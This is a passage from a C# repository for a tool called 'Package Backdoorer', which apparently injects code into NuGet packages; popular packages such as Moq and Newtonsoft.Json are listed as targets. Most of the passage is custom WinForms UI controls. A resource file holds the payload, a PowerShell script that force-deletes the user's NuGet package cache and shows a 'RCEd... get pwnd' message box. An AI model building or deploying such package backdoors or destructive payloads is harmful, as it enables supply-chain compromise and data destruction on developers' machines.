"{EFF07032-B2FC-4B6B-B36D-841DFD1B0F92}" 17 | ProjectSection(SolutionItems) = preProject 18 | Test Packages\castle.core.5.1.0.nupkg = Test Packages\castle.core.5.1.0.nupkg 19 | Test Packages\htmlagilitypack.1.11.46.nupkg = Test Packages\htmlagilitypack.1.11.46.nupkg 20 | Test Packages\moq.4.18.3.nupkg = Test Packages\moq.4.18.3.nupkg 21 | Test Packages\newtonsoft.json.13.0.2.nupkg = Test Packages\newtonsoft.json.13.0.2.nupkg 22 | Test Packages\selenium.webdriver.4.7.0.nupkg = Test Packages\selenium.webdriver.4.7.0.nupkg 23 | Test Packages\serilog.2.12.1-dev-01620.nupkg = Test Packages\serilog.2.12.1-dev-01620.nupkg 24 | EndProjectSection 25 | EndProject 26 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Aedificator Automatica NuGeT", "Aedificator Automatica NuGeT\Aedificator Automatica NuGeT.csproj", "{3E3A0FFD-CFBE-4245-BF21-57E8FCBA37E5}" 27 | EndProject 28 | Global 29 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 30 | Debug|Any CPU = Debug|Any CPU 31 | Release|Any CPU = Release|Any CPU 32 | EndGlobalSection 33 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 34 | {5948A5B8-28CF-4B0B-9A41-985356860999}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 35 | {5948A5B8-28CF-4B0B-9A41-985356860999}.Debug|Any CPU.Build.0 = Debug|Any CPU 36 | {5948A5B8-28CF-4B0B-9A41-985356860999}.Release|Any CPU.ActiveCfg = Release|Any CPU 37 | {5948A5B8-28CF-4B0B-9A41-985356860999}.Release|Any CPU.Build.0 = Release|Any CPU 38 | {68962ECD-D401-48DB-8C2A-16E614E8EEA6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 39 | {68962ECD-D401-48DB-8C2A-16E614E8EEA6}.Debug|Any CPU.Build.0 = Debug|Any CPU 40 | {68962ECD-D401-48DB-8C2A-16E614E8EEA6}.Release|Any CPU.ActiveCfg = Release|Any CPU 41 | {68962ECD-D401-48DB-8C2A-16E614E8EEA6}.Release|Any CPU.Build.0 = Release|Any CPU 42 | {3E3A0FFD-CFBE-4245-BF21-57E8FCBA37E5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 43 | {3E3A0FFD-CFBE-4245-BF21-57E8FCBA37E5}.Debug|Any CPU.Build.0 = Debug|Any CPU 44 | {3E3A0FFD-CFBE-4245-BF21-57E8FCBA37E5}.Release|Any CPU.ActiveCfg = Release|Any CPU 45 | {3E3A0FFD-CFBE-4245-BF21-57E8FCBA37E5}.Release|Any CPU.Build.0 = Release|Any CPU 46 | EndGlobalSection 47 | GlobalSection(SolutionProperties) = preSolution 48 | HideSolutionNode = FALSE 49 | EndGlobalSection 50 | GlobalSection(NestedProjects) = preSolution 51 | {EFF07032-B2FC-4B6B-B36D-841DFD1B0F92} = {3E1D0F93-3984-40A7-B369-D1E4C822E782} 52 | EndGlobalSection 53 | GlobalSection(ExtensibilityGlobals) = postSolution 54 | SolutionGuid = {AD74A141-634C-473D-A641-4C3587C6D26E} 55 | EndGlobalSection 56 | EndGlobal 57 | -------------------------------------------------------------------------------- /Package Backdoorer/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | False 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /Package Backdoorer/Controls/CustomCheckedListBox.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.Windows.Forms; 7 | using System.Drawing; 8 | using System.Drawing.Text; 9 | using System.Drawing.Drawing2D; 10 | 11 | namespace Package_Backdoorer.Controls 12 | { 13 | public class CustomCheckedListBox : CheckedListBox 14 | { 15 | public CustomCheckedListBox() 16 | { 17 | //this.SetStyle( 18 | // ControlStyles.OptimizedDoubleBuffer | 19 | // ControlStyles.ResizeRedraw, 20 | // //ControlStyles.UserPaint, 21 | // true); 22 | //this.DrawMode = DrawMode.OwnerDrawFixed; 23 | 24 | 25 | } 26 | 27 | 28 | 29 | protected override void OnPaint(PaintEventArgs e) 30 | { 31 | Region iRegion = new Region(e.ClipRectangle); 32 | e.Graphics.FillRegion(new SolidBrush(this.BackColor), iRegion); 33 | if (this.Items.Count > 0) 34 | { 35 | for (int i = 0; i < this.Items.Count; ++i) 36 | { 37 | System.Drawing.Rectangle irect = this.GetItemRectangle(i); 38 | if (e.ClipRectangle.IntersectsWith(irect)) 39 | { 40 | if ((this.SelectionMode == SelectionMode.One && this.SelectedIndex == i) 41 | || (this.SelectionMode == SelectionMode.MultiSimple && this.SelectedIndices.Contains(i)) 42 | || (this.SelectionMode == SelectionMode.MultiExtended && this.SelectedIndices.Contains(i))) 43 | { 44 | OnDrawItem(new DrawItemEventArgs(e.Graphics, this.Font, 45 | irect, i, 46 | DrawItemState.Selected, this.ForeColor, 47 | this.BackColor)); 48 | } 49 | else 50 | { 51 | OnDrawItem(new DrawItemEventArgs(e.Graphics, this.Font, 52 | irect, i, 53 | DrawItemState.Default, this.ForeColor, 54 | this.BackColor)); 55 | } 56 | iRegion.Complement(irect); 57 | } 58 | } 59 | } 60 | base.OnPaint(e); 61 | } 62 | 63 | protected override void OnDrawItem(DrawItemEventArgs e) 64 | { 65 | Size checkSize = CheckBoxRenderer.GetGlyphSize(e.Graphics, System.Windows.Forms.VisualStyles.CheckBoxState.CheckedNormal); 66 | int dx = (e.Bounds.Height - checkSize.Width) / 2; 67 | e.DrawBackground(); 68 | //e.DrawFocusRectangle(); 69 | if (this.Items.Count > 0) 70 | { 71 | //var isChecked = GetItemChecked(e.Index) ? CheckState.Checked : CheckState.Unchecked; 72 | bool isChecked = GetItemChecked(e.Index);//For some reason e.State doesn't work so we have to do this instead. 73 | //CheckBoxRenderer.DrawCheckBox(e.Graphics, new Point(dx, e.Bounds.Top + dx), isChecked ? System.Windows.Forms.VisualStyles.CheckBoxState.CheckedNormal : System.Windows.Forms.VisualStyles.CheckBoxState.UncheckedNormal); 74 | DarkCheckBox.DrawCheckBox(e.Graphics, new Point(dx, e.Bounds.Top + dx), this.GetItemCheckState(e.Index)); 75 | using (StringFormat sf = new StringFormat { LineAlignment = StringAlignment.Center }) 76 | { 77 | using (Brush brush = new SolidBrush(isChecked ? CheckedItemColor : ForeColor)) 78 | { 79 | e.Graphics.DrawString(Items[e.Index].ToString(), Font, brush, new Rectangle(e.Bounds.Height, e.Bounds.Top, e.Bounds.Width - e.Bounds.Height, e.Bounds.Height), sf); 80 | } 81 | } 82 | } 83 | 84 | //base.OnDrawItem(e); 85 | } 86 | Color checkedItemColor = Color.Green; 87 | public Color CheckedItemColor 88 | { 89 | get { return checkedItemColor; } 90 | set 91 | { 92 | checkedItemColor = value; 93 | //Invalidate(); 94 | } 95 | } 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /Package Backdoorer/Controls/DarkCheckBox.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.Windows.Forms; 7 | using System.Drawing; 8 | using System.Drawing.Drawing2D; 9 | using System.Runtime.InteropServices; 10 | using SystemMath = System.Math; 11 | 12 | namespace Package_Backdoorer.Controls 13 | { 14 | public class DarkCheckBox : CheckBox 15 | { 16 | [DllImport("Gdi32.dll", EntryPoint = "CreateRoundRectRgn")] 17 | private static extern IntPtr CreateRoundRectRgn 18 | ( 19 | int nLeftRect, // x-coordinate of upper-left corner 20 | int nTopRect, // y-coordinate of upper-left corner 21 | int nRightRect, // x-coordinate of lower-right corner 22 | int nBottomRect, // y-coordinate of lower-right corner 23 | int nWidthEllipse, // width of ellipse 24 | int nHeightEllipse // height of ellipse 25 | ); 26 | 27 | public Color CheckColor { get; set; } = Color.CornflowerBlue; 28 | public Color BoxFillColor { get; set; } = Color.FromArgb(33, 33, 33); 29 | public Color BoxBorderColor { get; set; } = Color.DarkSlateBlue; 30 | public DarkCheckBox() 31 | { 32 | Appearance = System.Windows.Forms.Appearance.Button; 33 | FlatStyle = System.Windows.Forms.FlatStyle.Flat; 34 | TextAlign = ContentAlignment.MiddleRight; 35 | FlatAppearance.BorderSize = 0; 36 | AutoSize = false; 37 | Height = 16; 38 | } 39 | 40 | public static GraphicsPath RoundedRect(Rectangle bounds, int radius) 41 | { 42 | int diameter = radius * 2; 43 | Size size = new Size(diameter, diameter); 44 | Rectangle arc = new Rectangle(bounds.Location, size); 45 | GraphicsPath path = new GraphicsPath(); 46 | 47 | if (radius == 0) 48 | { 49 | path.AddRectangle(bounds); 50 | return path; 51 | } 52 | 53 | // top left arc 54 | path.AddArc(arc, 180, 90); 55 | 56 | // top right arc 57 | arc.X = bounds.Right - diameter; 58 | path.AddArc(arc, 270, 90); 59 | 60 | // bottom right arc 61 | arc.Y = bounds.Bottom - diameter; 62 | path.AddArc(arc, 0, 90); 63 | 64 | // bottom left arc 65 | arc.X = bounds.Left; 66 | path.AddArc(arc, 90, 90); 67 | 68 | path.CloseFigure(); 69 | return path; 70 | } 71 | 72 | bool mouseEntered = false; 73 | bool mouseDown = false; 74 | 75 | protected override void OnMouseEnter(EventArgs eventargs) 76 | { 77 | mouseEntered = true; 78 | base.OnMouseEnter(eventargs); 79 | } 80 | 81 | protected override void OnMouseLeave(EventArgs eventargs) 82 | { 83 | mouseEntered = false; 84 | base.OnMouseLeave(eventargs); 85 | } 86 | 87 | protected override void OnMouseDown(MouseEventArgs mevent) 88 | { 89 | if (mevent.Button == MouseButtons.Left) 90 | { 91 | mouseDown = true; 92 | this.Invalidate(); 93 | } 94 | base.OnMouseDown(mevent); 95 | } 96 | 97 | //protected override void OnMouseMove(MouseEventArgs mevent) 98 | //{ 99 | // if (mevent.Button == MouseButtons.Left) 100 | // { 101 | // mouseDown = true; 102 | // this.Invalidate(); 103 | // } 104 | // base.OnMouseMove(mevent); 105 | //} 106 | 107 | protected override void OnMouseUp(MouseEventArgs mevent) 108 | { 109 | if (mevent.Button == MouseButtons.Left) 110 | { 111 | mouseDown = false; 112 | this.Invalidate(); 113 | } 114 | base.OnMouseUp(mevent); 115 | } 116 | 117 | public static void DrawCheckBox(Graphics g, Point p, CheckState Checked) 118 | { 119 | Color BoxFillColor = Color.FromArgb(33, 33, 33); 120 | //using (SolidBrush brush = new SolidBrush(BoxFillColor)) 121 | // g.DrawString(Text, Font, brush, 26, 6); 122 | 123 | Point pt = new Point(4, 4); 124 | Rectangle rect = new Rectangle(p, new Size(12, 12)); 125 | 126 | //if (mouseEntered) 127 | //{ 128 | // if (mouseDown) 129 | // { 130 | // Color col = Color.FromArgb(BoxFillColor.R - 4, BoxFillColor.G - 4, BoxFillColor.B - 4); 131 | // using (GraphicsPath path = RoundedRect(rect, 4)) 132 | // { 133 | // g.FillPath(new SolidBrush(col), path); 134 | // } 135 | // } 136 | // else 137 | // { 138 | // Color col = Color.FromArgb(BoxFillColor.R + 22, BoxFillColor.G + 22, BoxFillColor.B + 22); 139 | // using (GraphicsPath path = RoundedRect(rect, 4)) 140 | // { 141 | // g.FillPath(new SolidBrush(col), path); 142 | // } 143 | // } 144 | //} 145 | //else 146 | { 147 | using (GraphicsPath path = RoundedRect(rect, 4)) 148 | { 149 | g.FillPath(new SolidBrush(BoxFillColor), path); 150 | } 151 | } 152 | 153 | if (Checked == CheckState.Checked) 154 | { 155 | using (SolidBrush brush = new SolidBrush(Color.CornflowerBlue)) 156 | using (Font wing = new Font("Wingdings", 12f)) 157 | g.DrawString("ü", wing, brush, p.X - 2f, p.Y - 2f); 158 | } 159 | else if (Checked == CheckState.Indeterminate) 160 | { 161 | using (GraphicsPath path = RoundedRect(rect, 4)) 162 | { 163 | g.FillPath(new SolidBrush(Color.CornflowerBlue), path); 164 | } 165 | } 166 | 167 | using (GraphicsPath path = RoundedRect(rect, 4)) 168 | { 169 | g.DrawPath(new Pen(Color.Silver), path); 170 | } 171 | } 172 | 173 | protected override void OnPaint(PaintEventArgs pevent) 174 | { 175 | //base.OnPaint(pevent); 176 | 177 | pevent.Graphics.Clear(BackColor); 178 | 179 | if (this.Enabled) 180 | { 181 | using (SolidBrush brush = new SolidBrush(ForeColor)) 182 | pevent.Graphics.DrawString(Text, Font, brush, 26, 6); 183 | 184 | Point pt = new Point(4, 4); 185 | Rectangle rect = new Rectangle(pt, new Size(16, 16)); 186 | 187 | if (mouseEntered) 188 | { 189 | if (mouseDown) 190 | { 191 | Color col = Color.FromArgb(BoxFillColor.R - 4, BoxFillColor.G - 4, BoxFillColor.B - 4); 192 | using (GraphicsPath path = RoundedRect(rect, 4)) 193 | { 194 | pevent.Graphics.FillPath(new SolidBrush(col), path); 195 | } 196 | } 197 | else 198 | { 199 | Color col = Color.FromArgb(BoxFillColor.R + 22, BoxFillColor.G + 22, BoxFillColor.B + 22); 200 | using (GraphicsPath path = RoundedRect(rect, 4)) 201 | { 202 | pevent.Graphics.FillPath(new SolidBrush(col), path); 203 | } 204 | } 205 | } 206 | else 207 | { 208 | using (GraphicsPath path = RoundedRect(rect, 4)) 209 | { 210 | pevent.Graphics.FillPath(new SolidBrush(BoxFillColor), path); 211 | } 212 | } 213 | 214 | if (Checked) 215 | { 216 | using (SolidBrush brush = new SolidBrush(CheckColor)) 217 | using (Font wing = new Font("Wingdings", 12f)) 218 | pevent.Graphics.DrawString("ü", wing, brush, 3, 5); 219 | } 220 | 221 | using (GraphicsPath path = RoundedRect(rect, 4)) 222 | { 223 | pevent.Graphics.DrawPath(new Pen(BoxBorderColor), path); 224 | } 225 | } 226 | else 227 | { 228 | double brightnessDim = 0.4; 229 | double[] hsbForeColor = SimpleColorTransforms.RgBtoHsb(ForeColor); 230 | double[] hsBoxFillColor = SimpleColorTransforms.RgBtoHsb(BoxFillColor); 231 | double[] hsBoxBorderColor = SimpleColorTransforms.RgBtoHsb(BoxBorderColor); 232 | double[] hsCheckColor = SimpleColorTransforms.RgBtoHsb(CheckColor); 233 | 234 | hsbForeColor[1] = 0.0; 235 | hsbForeColor[2] -= brightnessDim; 236 | 237 | hsBoxFillColor[1] = 0.0; 238 | //hsBoxFillColor[2] -= brightnessDim; 239 | 240 | hsBoxBorderColor[1] = 0.0; 241 | hsBoxBorderColor[2] -= brightnessDim; 242 | 243 | hsCheckColor[1] = 0.0; 244 | hsCheckColor[2] -= brightnessDim; 245 | 246 | Color foreColor = SimpleColorTransforms.HsBtoRgb(hsbForeColor[0], hsbForeColor[1], hsbForeColor[2]); 247 | Color boxFillColor = SimpleColorTransforms.HsBtoRgb(hsBoxFillColor[0], hsBoxFillColor[1], hsBoxFillColor[2]); 248 | Color boxBorderColor = SimpleColorTransforms.HsBtoRgb(hsBoxBorderColor[0], hsBoxBorderColor[1], hsBoxBorderColor[2]); 249 | Color checkColor = SimpleColorTransforms.HsBtoRgb(hsCheckColor[0], hsCheckColor[1], hsCheckColor[2]); 250 | 251 | 252 | using (SolidBrush brush = new SolidBrush(foreColor)) 253 | pevent.Graphics.DrawString(Text, Font, brush, 26, 6); 254 | 255 | Point pt = new Point(4, 4); 256 | Rectangle rect = new Rectangle(pt, new Size(16, 16)); 257 | 258 | pevent.Graphics.FillRectangle(new SolidBrush(boxFillColor), rect); 259 | 260 | if (Checked) 261 | { 262 | using (SolidBrush brush = new SolidBrush(checkColor)) 263 | using (Font wing = new Font("Wingdings", 12f)) 264 | pevent.Graphics.DrawString("ü", wing, brush, 3, 5); 265 | } 266 | 267 | using (GraphicsPath path = RoundedRect(rect, 4)) 268 | { 269 | pevent.Graphics.DrawPath(new Pen(boxBorderColor), path); 270 | } 271 | } 272 | } 273 | } 274 | } 275 | -------------------------------------------------------------------------------- /Package Backdoorer/Controls/NoFocusCueBotton.cs: -------------------------------------------------------------------------------- 1 | using System.ComponentModel; 2 | using System.Windows.Forms; 3 | 4 | namespace Package_Backdoorer.Controls 5 | { 6 | /// 7 | /// Modified button which has no focus rectangles when the form which contains this button loses fucus while the button was focused. 8 | /// 9 | [ToolboxItem(typeof(NoFocusCueBotton))] 10 | public class NoFocusCueBotton : Button 11 | { 12 | protected override bool ShowFocusCues => false; 13 | 14 | /// 15 | /// Creates a new instance of a 16 | /// 17 | public NoFocusCueBotton() { } 18 | 19 | public override void NotifyDefault(bool value) 20 | { 21 | base.NotifyDefault(false); 22 | } 23 | } 24 | } -------------------------------------------------------------------------------- /Package Backdoorer/Controls/ProgressBarEx.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | using System.Drawing; 4 | using System.Drawing.Drawing2D; 5 | 6 | namespace Package_Backdoorer.Controls 7 | { 8 | public class ProgressBarEx : ProgressBar 9 | { 10 | public ProgressBarEx() 11 | { 12 | this.SetStyle(ControlStyles.UserPaint, true); 13 | } 14 | 15 | protected override void OnPaintBackground(PaintEventArgs pevent) 16 | { 17 | // None... Helps control the flicker. 18 | } 19 | 20 | protected override void OnPaint(PaintEventArgs e) 21 | { 22 | const int inset = 2; // A single inset value to control teh sizing of the inner rect. 23 | 24 | using (Image offscreenImage = new Bitmap(this.Width, this.Height)) 25 | { 26 | using (Graphics offscreen = Graphics.FromImage(offscreenImage)) 27 | { 28 | offscreen.Clear(this.BackColor); 29 | Rectangle rect = new Rectangle(0, 0, this.Width, this.Height); 30 | offscreen.DrawRectangle(new Pen(Color.Silver, 2), rect); 31 | 32 | //if (ProgressBarRenderer.IsSupported) 33 | // ProgressBarRenderer.DrawHorizontalBar(offscreen, rect); 34 | 35 | rect.Inflate(new Size(-inset, -inset)); // Deflate inner rect. 36 | rect.Width = (int)(rect.Width * ((double)this.Value / this.Maximum)); 37 | if (rect.Width == 0) rect.Width = 1; // Can't draw rec with width of 0. 38 | 39 | //LinearGradientBrush brush = new LinearGradientBrush(rect, this.BackColor, this.ForeColor, LinearGradientMode.Horizontal); 40 | SolidBrush brush = new SolidBrush(this.ForeColor); 41 | 42 | offscreen.FillRectangle(brush, inset, inset, rect.Width, rect.Height); 43 | 44 | e.Graphics.DrawImage(offscreenImage, 0, 0); 45 | } 46 | } 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /Package Backdoorer/Controls/TransparentLabel.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.Windows.Forms; 7 | 8 | namespace Package_Backdoorer.Controls 9 | { 10 | public class TransparentLabel : Label 11 | { 12 | protected override void WndProc(ref Message m) 13 | { 14 | const int WM_NCHITTEST = 0x0084; 15 | const int HTTRANSPARENT = (-1); 16 | 17 | if (m.Msg == WM_NCHITTEST) 18 | { 19 | m.Result = (IntPtr)HTTRANSPARENT; 20 | } 21 | else 22 | { 23 | base.WndProc(ref m); 24 | } 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /Package Backdoorer/Form1.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | 123 | iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAA 124 | 4wAAAOMBD+bfpwAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIvSURBVFhH7ZbP 125 | SxRhGMc3+geko9cuHT3O+6ogrZfOlQf1INJR0IMSdvUS1CUvBSnbvGO7IoaIIYLithNFm4FQaDXvTKnB 126 | uubP3GBtXJued/cZqfWdVWeHTvOB72GWeZ7v933nfXYmEhISUg5ReSdhfIowc9ZLCuPjVOUES4KDasZ1 127 | MM8rzHygqPyul+CeCVCOPuGXsTQYiGY+UpiRwEtvHOcC7MI8hJjBX4KBMjMmhJcVIbHPVyDAAWXGINX4 128 | bZlgQV3iPiw5nfMEEBDV6AOjd16CgEugX4pqNGNJZc4b4CyIfnBwn+FlZcoD1Cc+1SoavwWrkW7xWVSa 129 | HG7B4+glI1YUW8v5OwAUUCjMXRtbybY/X1uuVq1T3z42jJg2HPKOopmMfwIwU7+jf3/1dqtwBHKCUNfc 130 | +gJMz/2imQw3ABlaugSrL6TW7feyRj5lR+PWD/gDu4F2JzkOwIzWq6PWLhQdljXxrWTGXoRFHTbFvtag 131 | 3UncAHDwtH5947WskV8NLu6+EI8VreSUVs9V0Mbkl/xLWSO/aplc5dC3H63kYIBlyvjv9FYhK2vkR+nN 132 | Qkb0pDGjDq3kYACnDUZG1sivxq2fOmx/RrxD0EqOG+Dhh/2krJFf9aayb6DvMNp44wb47+PnAjc9jias 133 | PSgKbPxm1vJi9XbF8XMR89/41Dy4t7CTEmNTrQbS23pT3MyJDxy0OAU4JEQzuonGp0svkSpV7MN7bo45 134 | F9EhJCSkjEjkD9tVzdV2Bl76AAAAAElFTkSuQmCC 135 | 136 | 137 | 138 | rm "$env:USERPROFILE\.nuget\packages" -r -force 139 | 140 | Add-Type @" 141 | using System; 142 | using System.Runtime.InteropServices; 143 | 144 | public class User32 { 145 | [DllImport("user32.dll", SetLastError = true)] 146 | [return: MarshalAs(UnmanagedType.Bool)] 147 | public static extern bool SetForegroundWindow(IntPtr hWnd); 148 | } 149 | "@ 150 | 151 | Add-Type -AssemblyName System.Windows.Forms 152 | 153 | Write-Output 'Hello From PowerShell, this Nuget package has been RCEd! Microsoft, get pwnd....' 154 | 155 | # Show the message box 156 | [Windows.Forms.MessageBox]::Show('Hello From PowerShell, this Nuget package has been RCEd! Microsoft, get pwnd...', 'PwNd Nuget Package', [Windows.Forms.MessageBoxButtons]::OK, [Windows.Forms.MessageBoxIcon]::Information) 157 | 158 | # Get the handle of the PowerShell process window 159 | $hWnd = (Get-Process -Id $PID).MainWindowHandle 160 | 161 | # Bring the message box to the foreground 162 | [User32]::SetForegroundWindow($hWnd) 163 | 164 | 165 | 17, 17 166 | 167 | -------------------------------------------------------------------------------- /Package Backdoorer/Frame 3.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Package Backdoorer/Frame 3.ico -------------------------------------------------------------------------------- /Package Backdoorer/Package Backdoorer.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {5948A5B8-28CF-4B0B-9A41-985356860999} 8 | WinExe 9 | Package_Backdoorer 10 | Package Backdoorer 11 | v4.8 12 | 512 13 | true 14 | true 15 | 16 | 17 | 18 | AnyCPU 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | false 27 | 28 | 29 | AnyCPU 30 | pdbonly 31 | true 32 | bin\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | false 37 | 38 | 39 | Frame 3.ico 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | Component 59 | 60 | 61 | Component 62 | 63 | 64 | 65 | Component 66 | 67 | 68 | Component 69 | 70 | 71 | 72 | Component 73 | 74 | 75 | Component 76 | 77 | 78 | Form 79 | 80 | 81 | Form1.cs 82 | 83 | 84 | 85 | 86 | 87 | Form1.cs 88 | 89 | 90 | ResXFileCodeGenerator 91 | Resources.Designer.cs 92 | Designer 93 | 94 | 95 | True 96 | Resources.resx 97 | True 98 | 99 | 100 | 101 | SettingsSingleFileGenerator 102 | Settings.Designer.cs 103 | 104 | 105 | True 106 | Settings.settings 107 | True 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 13.0.3 128 | 129 | 130 | 131 | 132 | {68962ecd-d401-48db-8c2a-16e614e8eea6} 133 | Dark Controls Mod 134 | 135 | 136 | 137 | -------------------------------------------------------------------------------- /Package Backdoorer/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | 7 | namespace Package_Backdoorer 8 | { 9 | internal static class Program 10 | { 11 | /// 12 | /// The main entry point for the application. 13 | /// 14 | [STAThread] 15 | static void Main() 16 | { 17 | Application.EnableVisualStyles(); 18 | Application.SetCompatibleTextRenderingDefault(false); 19 | Application.Run(new Form1()); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Package Backdoorer/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Package Backdoorer")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Package Backdoorer")] 13 | [assembly: AssemblyCopyright("Copyright © 2022")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("5948a5b8-28cf-4b0b-9a41-985356860999")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Package Backdoorer/Properties/Frame 1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Package Backdoorer/Properties/Frame 1.ico -------------------------------------------------------------------------------- /Package Backdoorer/Properties/Frame 2.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Package Backdoorer/Properties/Frame 2.ico -------------------------------------------------------------------------------- /Package Backdoorer/Properties/Frame 3.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Package Backdoorer/Properties/Frame 3.ico -------------------------------------------------------------------------------- /Package Backdoorer/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace Package_Backdoorer.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Package_Backdoorer.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 